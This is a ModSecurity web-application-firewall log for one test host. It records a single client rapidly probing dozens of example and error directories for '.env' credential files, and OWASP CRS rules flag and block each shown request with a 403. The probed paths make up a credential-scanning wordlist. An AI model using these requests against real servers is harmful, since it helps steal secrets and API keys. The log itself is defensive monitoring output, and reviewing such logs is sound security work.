[Thu Feb 26 01:03:03.079736 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwQAAAAE&quot;]
[Thu Feb 26 01:03:03.103413 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/05-migrations/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwgAAAAE&quot;]
[Thu Feb 26 01:03:03.103759 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwgAAAAE&quot;]
[Thu Feb 26 01:03:03.103949 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwgAAAAE&quot;]
[Thu Feb 26 01:03:03.124338 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /error/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7AAAAAA&quot;]
[Thu Feb 26 01:03:03.124620 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7AAAAAA&quot;]
[Thu Feb 26 01:03:03.124819 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7AAAAAA&quot;]
[Thu Feb 26 01:03:03.125845 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/06-base-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwwAAAAE&quot;]
[Thu Feb 26 01:03:03.126108 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwwAAAAE&quot;]
[Thu Feb 26 01:03:03.126271 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhwwAAAAE&quot;]
[Thu Feb 26 01:03:03.161621 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /errors/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7QAAAAA&quot;]
[Thu Feb 26 01:03:03.161935 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7QAAAAA&quot;]
[Thu Feb 26 01:03:03.162141 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7QAAAAA&quot;]
[Thu Feb 26 01:03:03.168525 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/07-feature-flags/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxAAAAAE&quot;]
[Thu Feb 26 01:03:03.168827 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxAAAAAE&quot;]
[Thu Feb 26 01:03:03.169000 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxAAAAAE&quot;]
[Thu Feb 26 01:03:03.184226 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7gAAAAA&quot;]
[Thu Feb 26 01:03:03.184508 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7gAAAAA&quot;]
[Thu Feb 26 01:03:03.184694 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7gAAAAA&quot;]
[Thu Feb 26 01:03:03.201018 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/08-performance/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxQAAAAE&quot;]
[Thu Feb 26 01:03:03.201314 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxQAAAAE&quot;]
[Thu Feb 26 01:03:03.201501 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxQAAAAE&quot;]
[Thu Feb 26 01:03:03.216418 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example02-golang-package/import-underscore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7wAAAAA&quot;]
[Thu Feb 26 01:03:03.216700 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7wAAAAA&quot;]
[Thu Feb 26 01:03:03.216880 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy7wAAAAA&quot;]
[Thu Feb 26 01:03:03.223192 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/09-production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxgAAAAE&quot;]
[Thu Feb 26 01:03:03.223484 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxgAAAAE&quot;]
[Thu Feb 26 01:03:03.223653 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxgAAAAE&quot;]
[Thu Feb 26 01:03:03.247512 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/10-subscriptions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxwAAAAE&quot;]
[Thu Feb 26 01:03:03.247923 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxwAAAAE&quot;]
[Thu Feb 26 01:03:03.248125 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtzAL5Lg_nL66HcLhxwAAAAE&quot;]
[Thu Feb 26 01:03:03.258422 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample01/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8AAAAAA&quot;]
[Thu Feb 26 01:03:03.258711 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy8AAAAAA&quot;]
